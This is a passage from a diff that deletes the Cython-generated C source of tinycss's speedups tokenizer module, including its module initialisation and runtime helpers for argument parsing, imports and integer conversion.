- * unit = match.group(2) - */ - __pyx_k_tuple_6 = PyTuple_New(1); if (unlikely(!__pyx_k_tuple_6)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 130; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_k_tuple_6)); - __Pyx_INCREF(__pyx_int_1); - PyTuple_SET_ITEM(__pyx_k_tuple_6, 0, __pyx_int_1); - __Pyx_GIVEREF(__pyx_int_1); - __Pyx_GIVEREF(((PyObject *)__pyx_k_tuple_6)); - - /* "tinycss/speedups.pyx":132 - * value = match.group(1) - * value = float(value) if '.' in value else int(value) - * unit = match.group(2) # <<<<<<<<<<<<<< - * unit = simple_unescape(unit) - * unit = unicode_unescape(unit) - */ - __pyx_k_tuple_8 = PyTuple_New(1); if (unlikely(!__pyx_k_tuple_8)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 132; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_k_tuple_8)); - __Pyx_INCREF(__pyx_int_2); - PyTuple_SET_ITEM(__pyx_k_tuple_8, 0, __pyx_int_2); - __Pyx_GIVEREF(__pyx_int_2); - __Pyx_GIVEREF(((PyObject *)__pyx_k_tuple_8)); - - /* "tinycss/speedups.pyx":151 - * value = unicode_unescape(value) - * elif type_ == URI: - * value = match.group(1) # <<<<<<<<<<<<<< - * if value and value[0] in '"\'': - * value = value[1:-1] # Remove quotes - */ - __pyx_k_tuple_10 = PyTuple_New(1); if (unlikely(!__pyx_k_tuple_10)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 151; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_k_tuple_10)); - __Pyx_INCREF(__pyx_int_1); - PyTuple_SET_ITEM(__pyx_k_tuple_10, 0, __pyx_int_1); - __Pyx_GIVEREF(__pyx_int_1); - __Pyx_GIVEREF(((PyObject *)__pyx_k_tuple_10)); - __Pyx_RefNannyFinishContext(); - return 0; - __pyx_L1_error:; - __Pyx_RefNannyFinishContext(); - return -1; -} - -static int __Pyx_InitGlobals(void) { - if (__Pyx_InitStrings(__pyx_string_tab) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}; - __pyx_int_0 = PyInt_FromLong(0); if (unlikely(!__pyx_int_0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}; - __pyx_int_1 = PyInt_FromLong(1); if (unlikely(!__pyx_int_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}; - __pyx_int_2 = PyInt_FromLong(2); if (unlikely(!__pyx_int_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}; - return 0; - __pyx_L1_error:; - return -1; -} - -#if PY_MAJOR_VERSION < 3 -PyMODINIT_FUNC initspeedups(void); /*proto*/ -PyMODINIT_FUNC initspeedups(void) -#else -PyMODINIT_FUNC PyInit_speedups(void); /*proto*/ -PyMODINIT_FUNC PyInit_speedups(void) -#endif -{ - PyObject *__pyx_t_1 = NULL; - PyObject *__pyx_t_2 = NULL; - __Pyx_RefNannyDeclarations - #if CYTHON_REFNANNY - __Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny"); - if (!__Pyx_RefNanny) { - PyErr_Clear(); - __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny"); - if (!__Pyx_RefNanny) - Py_FatalError("failed to import 'refnanny' module"); - } - #endif - __Pyx_RefNannySetupContext("PyMODINIT_FUNC PyInit_speedups(void)"); - if ( __Pyx_check_binary_version() < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - #ifdef __pyx_binding_PyCFunctionType_USED - if (__pyx_binding_PyCFunctionType_init() < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - #endif - /*--- Library function declarations ---*/ - /*--- Threads initialization code ---*/ - #if defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS - #ifdef WITH_THREAD /* Python build with threading support? */ - PyEval_InitThreads(); - #endif - #endif - /*--- Module creation code ---*/ - #if PY_MAJOR_VERSION < 3 - __pyx_m = Py_InitModule4(__Pyx_NAMESTR("speedups"), __pyx_methods, __Pyx_DOCSTR(__pyx_k_12), 0, PYTHON_API_VERSION); - #else - __pyx_m = PyModule_Create(&__pyx_moduledef); - #endif - if (!__pyx_m) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}; - #if PY_MAJOR_VERSION < 3 - Py_INCREF(__pyx_m); - #endif - __pyx_b = PyImport_AddModule(__Pyx_NAMESTR(__Pyx_BUILTIN_MODULE_NAME)); - if (!__pyx_b) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}; - if (__Pyx_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}; - /*--- Initialize various global constants etc. ---*/ - if (unlikely(__Pyx_InitGlobals() < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - if (__pyx_module_is_main_tinycss__speedups) { - if (__Pyx_SetAttrString(__pyx_m, "__name__", __pyx_n_s____main__) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;}; - } - /*--- Builtin init code ---*/ - if (unlikely(__Pyx_InitCachedBuiltins() < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - /*--- Constants init code ---*/ - if (unlikely(__Pyx_InitCachedConstants() < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - /*--- Global init code ---*/ - /*--- Variable export code ---*/ - /*--- Function export code ---*/ - /*--- Type init code ---*/ - if (PyType_Ready(&__pyx_type_7tinycss_8speedups_CToken) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 25; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - if (__Pyx_SetAttrString(__pyx_m, "CToken", (PyObject *)&__pyx_type_7tinycss_8speedups_CToken) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 25; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __pyx_ptype_7tinycss_8speedups_CToken = &__pyx_type_7tinycss_8speedups_CToken; - if (PyType_Ready(&__pyx_Generator_type) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __pyx_ptype_7tinycss_8speedups___pyx_Generator = &__pyx_Generator_type; - __pyx_type_7tinycss_8speedups___pyx_scope_struct__genexpr.tp_base = __pyx_ptype_7tinycss_8speedups___pyx_Generator; - if (PyType_Ready(&__pyx_type_7tinycss_8speedups___pyx_scope_struct__genexpr) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __pyx_ptype_7tinycss_8speedups___pyx_scope_struct__genexpr = &__pyx_type_7tinycss_8speedups___pyx_scope_struct__genexpr; - /*--- Type import code ---*/ - /*--- Variable import code ---*/ - /*--- Function import code ---*/ - /*--- Execution code ---*/ - - /* "tinycss/speedups.pyx":17 - * - * from .token_data import ( - * COMPILED_TOKEN_REGEXPS, UNICODE_UNESCAPE, NEWLINE_UNESCAPE, # <<<<<<<<<<<<<< - * SIMPLE_UNESCAPE, FIND_NEWLINES, TOKEN_DISPATCH) - * - */ - __pyx_t_1 = PyList_New(6); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 17; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_1)); - __Pyx_INCREF(((PyObject *)__pyx_n_s_1)); - PyList_SET_ITEM(__pyx_t_1, 0, ((PyObject *)__pyx_n_s_1)); - __Pyx_GIVEREF(((PyObject *)__pyx_n_s_1)); - __Pyx_INCREF(((PyObject *)__pyx_n_s__UNICODE_UNESCAPE)); - PyList_SET_ITEM(__pyx_t_1, 1, ((PyObject *)__pyx_n_s__UNICODE_UNESCAPE)); - __Pyx_GIVEREF(((PyObject *)__pyx_n_s__UNICODE_UNESCAPE)); - __Pyx_INCREF(((PyObject *)__pyx_n_s__NEWLINE_UNESCAPE)); - PyList_SET_ITEM(__pyx_t_1, 2, ((PyObject *)__pyx_n_s__NEWLINE_UNESCAPE)); - __Pyx_GIVEREF(((PyObject *)__pyx_n_s__NEWLINE_UNESCAPE)); - __Pyx_INCREF(((PyObject *)__pyx_n_s__SIMPLE_UNESCAPE)); - PyList_SET_ITEM(__pyx_t_1, 3, ((PyObject *)__pyx_n_s__SIMPLE_UNESCAPE)); - __Pyx_GIVEREF(((PyObject *)__pyx_n_s__SIMPLE_UNESCAPE)); - __Pyx_INCREF(((PyObject *)__pyx_n_s__FIND_NEWLINES)); - PyList_SET_ITEM(__pyx_t_1, 4, ((PyObject *)__pyx_n_s__FIND_NEWLINES)); - __Pyx_GIVEREF(((PyObject *)__pyx_n_s__FIND_NEWLINES)); - __Pyx_INCREF(((PyObject *)__pyx_n_s__TOKEN_DISPATCH)); - PyList_SET_ITEM(__pyx_t_1, 5, ((PyObject *)__pyx_n_s__TOKEN_DISPATCH)); - __Pyx_GIVEREF(((PyObject *)__pyx_n_s__TOKEN_DISPATCH)); - __pyx_t_2 = __Pyx_Import(((PyObject *)__pyx_n_s__token_data), ((PyObject *)__pyx_t_1), 1); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 16; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_2); - __Pyx_DECREF(((PyObject *)__pyx_t_1)); __pyx_t_1 = 0; - __pyx_t_1 = PyObject_GetAttr(__pyx_t_2, __pyx_n_s_1); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 16; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - if (PyObject_SetAttr(__pyx_m, __pyx_n_s_1, __pyx_t_1) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 17; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = PyObject_GetAttr(__pyx_t_2, __pyx_n_s__UNICODE_UNESCAPE); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 16; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - if (PyObject_SetAttr(__pyx_m, __pyx_n_s__UNICODE_UNESCAPE, __pyx_t_1) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 17; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = PyObject_GetAttr(__pyx_t_2, __pyx_n_s__NEWLINE_UNESCAPE); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 16; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - if (PyObject_SetAttr(__pyx_m, __pyx_n_s__NEWLINE_UNESCAPE, __pyx_t_1) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 17; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = PyObject_GetAttr(__pyx_t_2, __pyx_n_s__SIMPLE_UNESCAPE); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 16; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - if (PyObject_SetAttr(__pyx_m, __pyx_n_s__SIMPLE_UNESCAPE, __pyx_t_1) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 18; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = PyObject_GetAttr(__pyx_t_2, __pyx_n_s__FIND_NEWLINES); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 16; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - if (PyObject_SetAttr(__pyx_m, __pyx_n_s__FIND_NEWLINES, __pyx_t_1) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 18; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = PyObject_GetAttr(__pyx_t_2, __pyx_n_s__TOKEN_DISPATCH); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 16; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - if (PyObject_SetAttr(__pyx_m, __pyx_n_s__TOKEN_DISPATCH, __pyx_t_1) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 18; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - - /* "tinycss/speedups.pyx":22 - * - * COMPILED_TOKEN_INDEXES = dict( - * (name, i) for i, (name, regexp) in enumerate(COMPILED_TOKEN_REGEXPS)) # <<<<<<<<<<<<<< - * - * - */ - __pyx_t_2 = __pyx_pf_7tinycss_8speedups_1genexpr(NULL, NULL); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 22; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 21; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_1)); - PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_2); - __Pyx_GIVEREF(__pyx_t_2); - __pyx_t_2 = 0; - __pyx_t_2 = PyObject_Call(((PyObject *)((PyObject*)(&PyDict_Type))), ((PyObject *)__pyx_t_1), NULL); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 21; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_2); - __Pyx_DECREF(((PyObject *)__pyx_t_1)); __pyx_t_1 = 0; - if (PyObject_SetAttr(__pyx_m, __pyx_n_s_4, __pyx_t_2) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 21; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - - /* "tinycss/speedups.pyx":30 - * - * """ - * is_container = False # <<<<<<<<<<<<<< - * - * cdef public object type, _as_css, value, unit - */ - __pyx_t_2 = __Pyx_PyBool_FromLong(0); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 30; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem((PyObject *)__pyx_ptype_7tinycss_8speedups_CToken->tp_dict, __pyx_n_s__is_container, __pyx_t_2) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 30; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - PyType_Modified(__pyx_ptype_7tinycss_8speedups_CToken); - - /* "tinycss/speedups.pyx":55 - * - * - * def tokenize_flat(css_source, int ignore_comments=1): # <<<<<<<<<<<<<< - * """ - * :param css_source: - */ - __pyx_t_2 = PyCFunction_NewEx(&__pyx_mdef_7tinycss_8speedups_tokenize_flat, NULL, __pyx_n_s_13); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 55; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_2); - if (PyObject_SetAttr(__pyx_m, __pyx_n_s__tokenize_flat, __pyx_t_2) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 55; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - - /* "tinycss/speedups.pyx":1 - * # coding: utf8 # <<<<<<<<<<<<<< - * """ - * tinycss.speedups - */ - __pyx_t_2 = PyDict_New(); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_2)); - if (PyObject_SetAttr(__pyx_m, __pyx_n_s____test__, ((PyObject *)__pyx_t_2)) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 1; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(((PyObject *)__pyx_t_2)); __pyx_t_2 = 0; - goto __pyx_L0; - __pyx_L1_error:; - __Pyx_XDECREF(__pyx_t_1); - __Pyx_XDECREF(__pyx_t_2); - if (__pyx_m) { - __Pyx_AddTraceback("init tinycss.speedups", __pyx_clineno, __pyx_lineno, __pyx_filename); - Py_DECREF(__pyx_m); __pyx_m = 0; - } else if (!PyErr_Occurred()) { - PyErr_SetString(PyExc_ImportError, "init tinycss.speedups"); - } - __pyx_L0:; - __Pyx_RefNannyFinishContext(); - #if PY_MAJOR_VERSION < 3 - return; - #else - return __pyx_m; - #endif -} - -/* Runtime support code */ - -#if CYTHON_REFNANNY -static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) { - PyObject *m = NULL, *p = NULL; - void *r = NULL; - m = PyImport_ImportModule((char *)modname); - if (!m) goto end; - p = PyObject_GetAttrString(m, (char *)"RefNannyAPI"); - if (!p) goto end; - r = PyLong_AsVoidPtr(p); -end: - Py_XDECREF(p); - Py_XDECREF(m); - return (__Pyx_RefNannyAPIStruct *)r; -} -#endif /* CYTHON_REFNANNY */ - -static PyObject *__Pyx_GetName(PyObject *dict, PyObject *name) { - PyObject *result; - result = PyObject_GetAttr(dict, name); - if (!result) { - if (dict != __pyx_b) { - PyErr_Clear(); - result = PyObject_GetAttr(__pyx_b, name); - } - if (!result) { - PyErr_SetObject(PyExc_NameError, name); - } - } - return result; -} - -static CYTHON_INLINE void __Pyx_RaiseNeedMoreValuesError(Py_ssize_t index) { - PyErr_Format(PyExc_ValueError, - "need more than %"PY_FORMAT_SIZE_T"d value%s to unpack", - index, (index == 1) ? "" : "s"); -} - -static CYTHON_INLINE void __Pyx_RaiseTooManyValuesError(Py_ssize_t expected) { - PyErr_Format(PyExc_ValueError, - "too many values to unpack (expected %"PY_FORMAT_SIZE_T"d)", expected); -} - -static int __Pyx_IternextUnpackEndCheck(PyObject *retval, Py_ssize_t expected) { - if (unlikely(retval)) { - Py_DECREF(retval); - __Pyx_RaiseTooManyValuesError(expected); - return -1; - } else if (PyErr_Occurred()) { - if (likely(PyErr_ExceptionMatches(PyExc_StopIteration))) { - PyErr_Clear(); - return 0; - } else { - return -1; - } - } - return 0; -} - -static void __Pyx_RaiseArgtupleInvalid( - const char* func_name, - int exact, - Py_ssize_t num_min, - Py_ssize_t num_max, - Py_ssize_t num_found) -{ - Py_ssize_t num_expected; - const char *more_or_less; - - if (num_found < num_min) { - num_expected = num_min; - more_or_less = "at least"; - } else { - num_expected = num_max; - more_or_less = "at most"; - } - if (exact) { - more_or_less = "exactly"; - } - PyErr_Format(PyExc_TypeError, - "%s() takes %s %"PY_FORMAT_SIZE_T"d positional argument%s (%"PY_FORMAT_SIZE_T"d given)", - func_name, more_or_less, num_expected, - (num_expected == 1) ? "" : "s", num_found); -} - -static void __Pyx_RaiseDoubleKeywordsError( - const char* func_name, - PyObject* kw_name) -{ - PyErr_Format(PyExc_TypeError, - #if PY_MAJOR_VERSION >= 3 - "%s() got multiple values for keyword argument '%U'", func_name, kw_name); - #else - "%s() got multiple values for keyword argument '%s'", func_name, - PyString_AS_STRING(kw_name)); - #endif -} - -static int __Pyx_ParseOptionalKeywords( - PyObject *kwds, - PyObject **argnames[], - PyObject *kwds2, - PyObject *values[], - Py_ssize_t num_pos_args, - const char* function_name) -{ - PyObject *key = 0, *value = 0; - Py_ssize_t pos = 0; - PyObject*** name; - PyObject*** first_kw_arg = argnames + num_pos_args; - - while (PyDict_Next(kwds, &pos, &key, &value)) { - name = first_kw_arg; - while (*name && (**name != key)) name++; - if (*name) { - values[name-argnames] = value; - } else { - #if PY_MAJOR_VERSION < 3 - if (unlikely(!PyString_CheckExact(key)) && unlikely(!PyString_Check(key))) { - #else - if (unlikely(!PyUnicode_CheckExact(key)) && unlikely(!PyUnicode_Check(key))) { - #endif - goto invalid_keyword_type; - } else { - for (name = first_kw_arg; *name; name++) { - #if PY_MAJOR_VERSION >= 3 - if (PyUnicode_GET_SIZE(**name) == PyUnicode_GET_SIZE(key) && - PyUnicode_Compare(**name, key) == 0) break; - #else - if (PyString_GET_SIZE(**name) == PyString_GET_SIZE(key) && - _PyString_Eq(**name, key)) break; - #endif - } - if (*name) { - values[name-argnames] = value; - } else { - /* unexpected keyword found */ - for (name=argnames; name != first_kw_arg; name++) { - if (**name == key) goto arg_passed_twice; - #if PY_MAJOR_VERSION >= 3 - if (PyUnicode_GET_SIZE(**name) == PyUnicode_GET_SIZE(key) && - PyUnicode_Compare(**name, key) == 0) goto arg_passed_twice; - #else - if (PyString_GET_SIZE(**name) == PyString_GET_SIZE(key) && - _PyString_Eq(**name, key)) goto arg_passed_twice; - #endif - } - if (kwds2) { - if (unlikely(PyDict_SetItem(kwds2, key, value))) goto bad; - } else { - goto invalid_keyword; - } - } - } - } - } - return 0; -arg_passed_twice: - __Pyx_RaiseDoubleKeywordsError(function_name, **name); - goto bad; -invalid_keyword_type: - PyErr_Format(PyExc_TypeError, - "%s() keywords must be strings", function_name); - goto bad; -invalid_keyword: - PyErr_Format(PyExc_TypeError, - #if PY_MAJOR_VERSION < 3 - "%s() got an unexpected keyword argument '%s'", - function_name, PyString_AsString(key)); - #else - "%s() got an unexpected keyword argument '%U'", - function_name, key); - #endif -bad: - return -1; -} - - -static CYTHON_INLINE void __Pyx_RaiseUnboundLocalError(const char *varname) { - PyErr_Format(PyExc_UnboundLocalError, "local variable '%s' referenced before assignment", varname); -} - -static double __Pyx__PyObject_AsDouble(PyObject* obj) { - PyObject* float_value; - if (Py_TYPE(obj)->tp_as_number && Py_TYPE(obj)->tp_as_number->nb_float) { - return PyFloat_AsDouble(obj); - } else if (PyUnicode_CheckExact(obj) || PyBytes_CheckExact(obj)) { -#if PY_MAJOR_VERSION >= 3 - float_value = PyFloat_FromString(obj); -#else - float_value = PyFloat_FromString(obj, 0); -#endif - } else { - PyObject* args = PyTuple_New(1); - if (unlikely(!args)) goto bad; - PyTuple_SET_ITEM(args, 0, obj); - float_value = PyObject_Call((PyObject*)&PyFloat_Type, args, 0); - PyTuple_SET_ITEM(args, 0, 0); - Py_DECREF(args); - } - if (likely(float_value)) { - double value = PyFloat_AS_DOUBLE(float_value); - Py_DECREF(float_value); - return value; - } -bad: - return (double)-1; -} - -static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, long level) { - PyObject *py_import = 0; - PyObject *empty_list = 0; - PyObject *module = 0; - PyObject *global_dict = 0; - PyObject *empty_dict = 0; - PyObject *list; - py_import = __Pyx_GetAttrString(__pyx_b, "__import__"); - if (!py_import) - goto bad; - if (from_list) - list = from_list; - else { - empty_list = PyList_New(0); - if (!empty_list) - goto bad; - list = empty_list; - } - global_dict = PyModule_GetDict(__pyx_m); - if (!global_dict) - goto bad; - empty_dict = PyDict_New(); - if (!empty_dict) - goto bad; - #if PY_VERSION_HEX >= 0x02050000 - { - PyObject *py_level = PyInt_FromLong(level); - if (!py_level) - goto bad; - module = PyObject_CallFunctionObjArgs(py_import, - name, global_dict, empty_dict, list, py_level, NULL); - Py_DECREF(py_level); - } - #else - if (level>0) { - PyErr_SetString(PyExc_RuntimeError, "Relative import is not supported for Python <=2.4."); - goto bad; - } - module = PyObject_CallFunctionObjArgs(py_import, - name, global_dict, empty_dict, list, NULL); - #endif -bad: - Py_XDECREF(empty_list); - Py_XDECREF(py_import); - Py_XDECREF(empty_dict); - return module; -} - -static CYTHON_INLINE unsigned char __Pyx_PyInt_AsUnsignedChar(PyObject* x) { - const unsigned char neg_one = (unsigned char)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; - if (sizeof(unsigned char) < sizeof(long)) { - long val = __Pyx_PyInt_AsLong(x); - if (unlikely(val != (long)(unsigned char)val)) { - if (!unlikely(val == -1 && PyErr_Occurred())) { - PyErr_SetString(PyExc_OverflowError, - (is_unsigned && unlikely(val < 0)) ? - "can't convert negative value to unsigned char" : - "value too large to convert to unsigned char"); - } - return (unsigned char)-1; - } - return (unsigned char)val; - } - return (unsigned char)__Pyx_PyInt_AsUnsignedLong(x); -} - -static CYTHON_INLINE unsigned short __Pyx_PyInt_AsUnsignedShort(PyObject* x) { - const unsigned short neg_one = (unsigned short)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; - if (sizeof(unsigned short) < sizeof(long)) { - long val = __Pyx_PyInt_AsLong(x); - if (unlikely(val != (long)(unsigned short)val)) { - if (!unlikely(val == -1 && PyErr_Occurred())) { - PyErr_SetString(PyExc_OverflowError, - (is_unsigned && unlikely(val < 0)) ? - "can't convert negative value to unsigned short" : - "value too large to convert to unsigned short"); - } - return (unsigned short)-1; - } - return (unsigned short)val; - } - return (unsigned short)__Pyx_PyInt_AsUnsignedLong(x); -} - -static CYTHON_INLINE unsigned int __Pyx_PyInt_AsUnsignedInt(PyObject* x) { - const unsigned int neg_one = (unsigned int)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; - if (sizeof(unsigned int) < sizeof(long)) { - long val = __Pyx_PyInt_AsLong(x); - if (unlikely(val != (long)(unsigned int)val)) { - if (!unlikely(val == -1 && PyErr_Occurred())) { - PyErr_SetString(PyExc_OverflowError, - (is_unsigned && unlikely(val < 0)) ? - "can't convert negative value to unsigned int" : - "value too large to convert to unsigned int"); - } - return (unsigned int)-1; - } - return (unsigned int)val; - } - return (unsigned int)__Pyx_PyInt_AsUnsignedLong(x); -} - -static CYTHON_INLINE char __Pyx_PyInt_AsChar(PyObject* x) { - const char neg_one = (char)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; - if (sizeof(char) < sizeof(long)) { - long val = __Pyx_PyInt_AsLong(x); - if (unlikely(val != (long)(char)val)) { - if (!unlikely(val == -1 && PyErr_Occurred())) { - PyErr_SetString(PyExc_OverflowError, - (is_unsigned && unlikely(val < 0)) ? - "can't convert negative value to char" : - "value too large to convert to char"); - } - return (char)-1; - } - return (char)val; - } - return (char)__Pyx_PyInt_AsLong(x); -} - -static CYTHON_INLINE short __Pyx_PyInt_AsShort(PyObject* x) { - const short neg_one = (short)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; - if (sizeof(short) < sizeof(long)) { - long val = __Pyx_PyInt_AsLong(x); - if (unlikely(val != (long)(short)val)) { - if (!unlikely(val == -1 && PyErr_Occurred())) { - PyErr_SetString(PyExc_OverflowError, - (is_unsigned && unlikely(val < 0)) ? - "can't convert negative value to short" : - "value too large to convert to short"); - } - return (short)-1; - } - return (short)val; - } - return (short)__Pyx_PyInt_AsLong(x); -} - -static CYTHON_INLINE int __Pyx_PyInt_AsInt(PyObject* x) { - const int neg_one = (int)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; - if (sizeof(int) < sizeof(long)) { - long val = __Pyx_PyInt_AsLong(x); - if (unlikely(val != (long)(int)val)) { - if (!unlikely(val == -1 && PyErr_Occurred())) { - PyErr_SetString(PyExc_OverflowError, - (is_unsigned && unlikely(val < 0)) ? - "can't convert negative value to int" : - "value too large to convert to int"); - } - return (int)-1; - } - return (int)val; - } - return (int)__Pyx_PyInt_AsLong(x); -} - -static CYTHON_INLINE signed char __Pyx_PyInt_AsSignedChar(PyObject* x) { - const signed char neg_one = (signed char)-1, const_zero = 0; - const int is_unsigned = neg_one > const_zero; - if (sizeof(signed char) < sizeof(long)) { - long val = __Pyx_PyInt_AsLong(x); - if (unlikely(val != (long)(signed char)val)) { - if (!unlikely(val == -1 && PyErr_Occurred())) { - PyErr_SetString(PyExc_OverflowError, - (is_unsigned && unlikely(val < 0)) ? - "can't convert negative value to signed char" : - "value too large to convert to signed char"); - } - return (signed char)-1; - } 